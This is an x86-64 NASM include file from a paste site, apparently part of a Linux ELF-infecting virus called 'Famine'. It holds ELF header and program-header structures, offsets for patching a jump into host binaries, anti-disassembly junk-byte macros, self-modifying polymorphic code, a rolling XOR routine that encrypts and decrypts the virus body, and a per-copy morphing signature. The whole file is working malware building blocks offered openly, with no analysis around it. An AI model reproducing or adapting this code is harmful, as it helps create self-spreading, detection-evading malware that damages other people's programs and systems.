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Jun 29th, 2023
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ASM (NASM) 9.39 KB | Cybersecurity | 0 0
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  1. ; ELF header data for comparisons
  2.  
  3. %define _SYSV_          0x00010102464c457f
  4. %define _GNU_           0x03010102464c457f
  5. %define _DYN_           0x00000001003e0003
  6. %define _EXEC_          0x00000001003e0002
  7. %define SEGMENT_TYPE    0x0000000000000004
  8. %define PF_R            0x4
  9. %define PF_X            0x1
  10. %define PF_W            0x2
  11.  
  12. %define _pwrite         18
  13. %define _read           0x0
  14. %define _exit           60
  15. %define _open           2
  16. %define _close          3
  17. %define _fstat          5
  18. %define _mmap           9
  19. %define _munmap         11
  20. %define _getdents       78
  21. %define _chmod          90
  22. %define _lseek          8
  23. %define _sync           162
  24. %define _fork           0x39
  25.  
  26. ; File acces
  27. %define O_RDONLY            0o0000000
  28. %define O_RDWR              0o0000002
  29. %define O_DIRECTORY         0o0200000
  30. %define PATH_MAX            4096
  31. %define DT_REG              8
  32. %define DT_DIR              4
  33. %define END_SEEK            2
  34. ; mmap
  35. %define PROT_READ           0x1
  36. %define PROT_WRITE          0x2
  37. %define MAP_SHARED          0x01
  38. %define MMAP_ERRORS         -4095
  39.  
  40. ; Famine
  41. %define FAMINE_SIZE         (_end - _start)
  42. %define KEY_SIZE            5
  43. %define STACK(x)            [(rbp - famine_size) + x]
  44. %define DIRENT_ARR_SIZE     1024
  45. %define JMP                 0xe9
  46. %define EHDR_SIZE           64
  47. %define PHDR_SIZE           56
  48.  
  49. %define JUMP_DECYPHER_OFFSET _start.OUI - _start +1
  50. %define KEY_OFFSET          _start.key_offset - _start + 1
  51. %define FACTOR_OFFSET       _start.factor_offset - _start + 2
  52.  
  53. %define RETURN_JUMP_OFFSET  _end - _exx
  54. %define RETURN_JUMP_VALUE_OFFSET _end - _exx - + 5
  55.  
  56. %define SIGNATURE_OFFSET    signature - _start + 44
  57. %define BEGIN_SIGNATURE_OFFSET_FORM_END _end - signature - 1
  58.  
  59. %define POLY_OFFSET_1   _start.label_poly1 - _start
  60. %define POLY_CRAP_SKIPPED_OFFSET inject_self.poly_crap_skipped - _start
  61.  
  62. %macro OBF_POLY_1 0
  63.     OBF_PUSH_RAX
  64.     OBF_PUSH_RDI
  65.     call .pop9
  66.     .pop9:
  67.     pop rdi
  68.     mov rax, rdi
  69.     mov dword[rdi+12], 0x90909090
  70.     pop rdi
  71.     .label_poly1:
  72.     dd 0xAAAAAAAA
  73.     mov rbx, 0x00000000
  74.     mov dword[rax+12], ebx
  75.     pop rax
  76. %endmacro
  77.  
  78.  
  79. %macro POLY_CRAP_SKIPPED 0
  80.     .poly_crap_skipped:
  81.     dd 0xAAAAAAAA
  82.     dd 0xAAAAAAAA
  83.     dd 0xAAAAAAAA
  84.     dd 0xAAAAAAAA
  85.     dd 0xAAAAAAAA
  86.     dd 0xAAAAAAAA
  87.     dd 0xAAAAAAAA
  88. %endmacro
  89. ; MACROS
  90.  
  91. %macro OBF_GENERIC 0
  92. jmp short 0x2
  93. db 0x0F
  94. %endmacro
  95.  
  96. %macro OBF_GENERIC1 0
  97. jmp short 0x2
  98. db 0xDE
  99. %endmacro
  100.  
  101. %macro OBF_GENERIC2 0
  102. jmp short 0x2
  103. db 0xF3
  104. %endmacro
  105.  
  106. %macro OBF_PUSH_RAX 0
  107.     jmp short 5
  108.     push 0x500fDD90
  109. %endmacro
  110.  
  111.  
  112. %macro OBF_PUSH_RBX 0
  113.     jmp short 5
  114.     push 0x53909090
  115. %endmacro
  116.  
  117. %macro OBF_PUSH_RCX 0
  118.     jmp short 5
  119.     push 0x5146EEF0
  120. %endmacro
  121.  
  122. %macro OBF_PUSH_RDX 0
  123.     jmp short 6
  124.     db 0xF8
  125.     push 0x5246EEF0
  126. %endmacro
  127.  
  128. %macro OBF_PUSH_RSI 0
  129.     jmp short 5
  130.     db 0xF8
  131.     dd 0x5646EEF0
  132. %endmacro
  133.  
  134. %macro OBF_PUSH_RDI 0
  135.     jmp short 5
  136.     db 0x03
  137.     dd 0x5702EEc0
  138. %endmacro
  139.  
  140. %macro OBF_PUSH_RBP 0
  141.     jmp short 5
  142.     db 0x03
  143.     dd 0x55380F66
  144. %endmacro
  145.  
  146. %macro OBF_PUSH_RSP 0
  147.     jmp short 5
  148.     db 0x03
  149.     dd 0x543A0F66
  150. %endmacro
  151.  
  152. %macro OBF_PUSH_R8 0
  153.     jmp short 4
  154.     db 0x02
  155.     dd 0x5041A0F6
  156. %endmacro
  157.  
  158. %macro OBF_PUSH_R9 0
  159.     jmp short 4
  160.     db 0x02
  161.     dd 0x5141C3EB
  162. %endmacro
  163.  
  164. %macro OBF_PUSH_R10 0
  165.     jmp short 4
  166.     db 0x02
  167.     dd 0x5241C3D0
  168. %endmacro
  169.  
  170. %macro OBF_OVERWRITE_PUSHR8R9 0
  171.     OBF_PUSH_R8
  172.     call .pop
  173.     .pop:
  174.     pop r8
  175.     mov rax, r8
  176.     mov dword[r8+15], 0x51415041
  177.     pop r8
  178.     dd 0xADE1F1FF
  179.     mov dword[rax+15], 0x0FDE21C3
  180. %endmacro
  181.  
  182. %macro OBF_OVERWRITE_PUSHR10R11 0
  183.     OBF_PUSH_R8
  184.     call .pop1
  185.     .pop1:
  186.     pop r8
  187.     mov rax, r8
  188.     mov dword[r8+15], 0x53415241
  189.     pop r8
  190.     dd 0xFFADE1F1
  191.     mov dword[rax+15], 0xAE0F1233
  192. %endmacro
  193.  
  194. %macro OBF_OVERWRITE_PUSHR12R13 0
  195.     OBF_PUSH_RDI
  196.     call .pop2
  197.     .pop2:
  198.     pop rdi
  199.     mov rax, rdi
  200.     mov dword[rdi+12], 0x55415441
  201.     pop rdi
  202.     dd 0xEEA0FDF1
  203.     mov dword[rax+12], 0xCC010203
  204. %endmacro
  205.  
  206. %macro OBF_OVERWRITE_PUSHR14R15 0
  207.     OBF_PUSH_RDI
  208.     call .pop3
  209.     .pop3:
  210.     pop rdi
  211.     mov rax, rdi
  212.     mov dword[rdi+12], 0x57415641
  213.     pop rdi
  214.     dd 0xEEA0C3F1
  215.     mov dword[rax+12], 0x09e97171
  216. %endmacro
  217.  
  218. %macro OBF_OVERWRITE_POPR9R8 0
  219.     OBF_PUSH_R8
  220.     call .pop4
  221.     .pop4:
  222.     pop r8
  223.     mov rax, r8
  224.     mov dword[r8+15], 0x58415941
  225.     pop r8
  226.     dd 0xADE1F1FF
  227.     mov dword[rax+15], 0xCDCE1212
  228. %endmacro
  229.  
  230. %macro OBF_OVERWRITE_POPR11R10 0
  231.     OBF_PUSH_R8
  232.     call .pop5
  233.     .pop5:
  234.     pop r8
  235.     mov rax, r8
  236.     mov dword[r8+15], 0x5A415B41
  237.     pop r8
  238.     dd 0xFFADE1F1
  239.     mov dword[rax+15], 0x66AEF700
  240. %endmacro
  241.  
  242. %macro OBF_OVERWRITE_POPR13R12 0
  243.     OBF_PUSH_RDI
  244.     call .pop6
  245.     .pop6:
  246.     pop rdi
  247.     mov rax, rdi
  248.     mov dword[rdi+12], 0x5C415D41
  249.     pop rdi
  250.     dd 0xEEA0FDF1
  251.     mov dword[rax+12], 0xBBDFDEAD
  252. %endmacro
  253.  
  254. %macro OBF_OVERWRITE_POPR15R14 0
  255.     OBF_PUSH_RDI
  256.     call .pop7
  257.     .pop7:
  258.     pop rdi
  259.     mov rax, rdi
  260.     mov dword[rdi+12], 0x5E415F41
  261.     pop rdi
  262.     dd 0xEEA0C3F1
  263.     mov dword[rax+12], 0x12131441
  264. %endmacro
  265.  
  266.  
  267.  
  268. %macro OBF_POP_RAX 0
  269.     jmp short 5
  270.     push 0x580fDD90
  271. %endmacro
  272.  
  273.  
  274. %macro OBF_POP_RBX 0
  275.     jmp short 5
  276.     push 0x5B909090
  277. %endmacro
  278.  
  279. %macro OBF_POP_RCX 0
  280.     jmp short 5
  281.     push 0x5941442F
  282. %endmacro
  283.  
  284. %macro OBF_POP_RDX 0
  285.     jmp short 6
  286.     db 0xF8
  287.     push 0x5A26EDA0
  288. %endmacro
  289.  
  290. %macro OBF_POP_RSI 0
  291.     jmp short 5
  292.     db 0xF8
  293.     dd 0x5E666EFC
  294. %endmacro
  295.  
  296. %macro OBF_POP_RDI 0
  297.     jmp short 5
  298.     db 0x0f
  299.     dd 0x5FE4E4c3
  300. %endmacro
  301.  
  302. %macro OBF_POP_RBP 0
  303.     jmp short 5
  304.     db 0x03
  305.     dd 0x5DCCEFFF
  306. %endmacro
  307.  
  308. %macro OBF_POP_RSP 0
  309.     jmp short 5
  310.     db 0x03
  311.     dd 0x5C3AEF6C
  312. %endmacro
  313.  
  314. %macro OBF_POP_R8 0
  315.     jmp short 4
  316.     db 0x02
  317.     dd 0x5841A0F6
  318. %endmacro
  319.  
  320. %macro OBF_POP_R9 0
  321.     jmp short 4
  322.     db 0x02
  323.     dd 0x5941C3EB
  324. %endmacro
  325.  
  326. %macro OBF_POP_R10 0
  327.     jmp short 4
  328.     db 0x02
  329.     dd 0x5A41C3D0
  330. %endmacro
  331.  
  332. %macro PUSH 0
  333.     OBF_PUSH_RAX
  334.     OBF_PUSH_RBX
  335.     OBF_PUSH_RCX
  336.     OBF_PUSH_RDX
  337.     OBF_GENERIC
  338.     OBF_PUSH_RSI
  339.     OBF_PUSH_RDI
  340.     OBF_PUSH_RBP
  341.     OBF_PUSH_RSP
  342.     OBF_OVERWRITE_PUSHR8R9
  343.     OBF_OVERWRITE_PUSHR10R11
  344.     OBF_OVERWRITE_PUSHR12R13
  345.     OBF_OVERWRITE_PUSHR14R15
  346. %endmacro
  347.  
  348. %macro POP 0
  349.     OBF_OVERWRITE_POPR15R14
  350.     OBF_OVERWRITE_POPR13R12
  351.     OBF_OVERWRITE_POPR11R10
  352.     OBF_OVERWRITE_POPR9R8
  353.     OBF_POP_RSP
  354.     OBF_POP_RBP
  355.     OBF_POP_RDI
  356.     OBF_POP_RSI
  357.     OBF_GENERIC
  358.     OBF_POP_RDX
  359.     OBF_POP_RCX
  360.     OBF_POP_RBX
  361.     OBF_POP_RAX
  362. %endmacro
  363.  
  364.  
  365.  
  366. %macro CYPHER 0
  367.     OBF_GENERIC
  368.     xor r11, r11
  369.     mov rdi, STACK(famine.key)  ; key
  370.     OBF_GENERIC2
  371.     mov rax, _start.enc_start
  372.     lea rdx, STACK(famine.tocypher + _start.enc_start - _start)
  373.     mov rcx, enc_end
  374.     sub rcx, rax
  375.     mov r12, STACK(famine.factor)
  376.     OBF_GENERIC
  377.     .cyphering:
  378.         mov r11b, byte [rdx]
  379.         xor r11, rdi
  380.         mov byte [rdx], r11b
  381.         inc rdx
  382.         dec r12
  383.         add rdi, r12
  384.     loop .cyphering
  385. %endmacro
  386.  
  387. %macro DECYPHER 0
  388.     xor r11, r11
  389.     .key_offset:
  390.     mov rdi, 0xAA  ; key
  391.     mov rax, .enc_start
  392.     lea rdx, [rel .enc_start]
  393.     mov rcx, enc_end
  394.     sub rcx, rax
  395.     .factor_offset:
  396.     mov r12, 0xAA
  397.     .decyphering:
  398.         mov r11b, byte [rdx]
  399.         xor r11, rdi
  400.         mov byte [rdx], r11b
  401.         inc rdx
  402.         dec r12
  403.         add rdi, r12
  404.         loop .decyphering
  405. %endmacro
  406. ;Structures
  407.  
  408.     struc   dirent
  409. .d_ino:         resq    1   ; 64-bit inode number
  410. .d_off:         resq    1   ; 64-bit offset to next structure
  411. .d_reclen       resw    1   ; Size of this dirent
  412. .d_name         resb    1   ; Filename (null-terminated)
  413. .pad            resb    0   ;  0 PADDING
  414. .d_type         resb    1   ; byte TYPE
  415.     endstruc
  416.  
  417.  
  418.  
  419.     struc   stat
  420. .st_dev         resq    1   ; ID of device containing file
  421. .__pad1         resw    1   ; Padding
  422. .st_ino         resq    1   ; Inode number
  423. .st_mode        resd    1   ; File type and mode
  424. .st_nlink       resq    1   ; Number of hard links
  425. .st_uid         resd    1   ; User ID of owner
  426. .st_gid         resd    1   ; Group ID of owner
  427. .st_rdev        resq    1   ; Device ID (if special file)
  428. .__pad2         resw    1   ; Padding
  429. .st_size        resq    1   ; Total size, in bytes
  430. .st_blksize     resq    1   ; Block size for filesystem I/O
  431. .st_blocks      resq    1   ; Number of 512B blocks allocated
  432. .st_atim        resq    2   ; Time of last access
  433. .st_mtim        resq    2   ; Time of last modification
  434. .st_ctim        resq    2   ; Time of last status change
  435. .__unused       resq    3   ; Unused
  436.     endstruc
  437.  
  438.  
  439.  
  440. ; ELF headers
  441.  
  442.     struc   elf64_ehdr
  443. .e_ident        resb    16  ; Magic number and other info
  444. .e_type         resw    1   ; Object file type
  445. .e_machine      resw    1   ; Architecture
  446. .e_version      resd    1   ; Object file version
  447. .e_entry        resq    1   ; Entry point virtual address
  448. .e_phoff        resq    1   ; Program header table file offset
  449. .e_shoff        resq    1   ; Section header table file offset
  450. .e_flags        resd    1   ; Processor-specific flags
  451. .e_ehsize       resw    1   ; ELF header size in bytes
  452. .e_phentsize    resw    1   ; Program header table entry size
  453. .e_phnum        resw    1   ; Program header table entry count
  454. .e_shentsize    resw    1   ; Section header table entry size
  455. .e_shnum        resw    1   ; Section header table entry count
  456. .e_shstrndx     resw    1   ; Section header string table index
  457.     endstruc
  458.  
  459.  
  460.  
  461.     struc   elf64_phdr
  462. .p_type         resd    1   ; Segment type
  463. .p_flags        resd    1   ; Segment flags
  464. .p_offset       resq    1   ; Segment file offset
  465. .p_vaddr        resq    1   ; Segment virtual address
  466. .p_paddr        resq    1   ; Segment physical address
  467. .p_filesz       resq    1   ; Segment size in file
  468. .p_memsz        resq    1   ; Segment size in memory
  469. .p_align        resq    1   ; Segment alignment
  470.     endstruc
  471.  
  472. ; Structure for our variables on stack
  473.  
  474.     struc   famine
  475. .dirents        resb    DIRENT_ARR_SIZE ; Array of dirents
  476. .dir_fd         resq    1               ; Directory fd
  477. .file_path      resb    PATH_MAX        ; File path Buffer
  478. .new_dir        resb    PATH_MAX
  479. .file_fd        resq    1               ; Open file fd
  480. .stat           resb    stat_size       ; Buffer for stat struct
  481. .file_size      resq    1               ; Size of open file
  482. .jmp            resb    5               ; jmp :  e9 xx xx xx xx
  483. .file_data      resq    1               ; Pointer to mmapped file data
  484. .status_str     resb    110             ; buf for /proc/self/status
  485. .tocypher       resb    0x5000          ; location to cyphered v
  486. .key            resb    1               ; location to key
  487. .factor         resb    1               ; factor to derivate key
  488. .morph_sign_u   resb    1               ; factor to add to signature
  489. .morph_sign_d   resb    1               ; factor to add to ssignature  tenth
  490. .tmp_rand       resw    1               ;
  491. .commpath       resb    100             ; path to commfiles
  492. .dirents_proc   resb    DIRENT_ARR_SIZE ; Array of dirents for /proc
  493. endstruc
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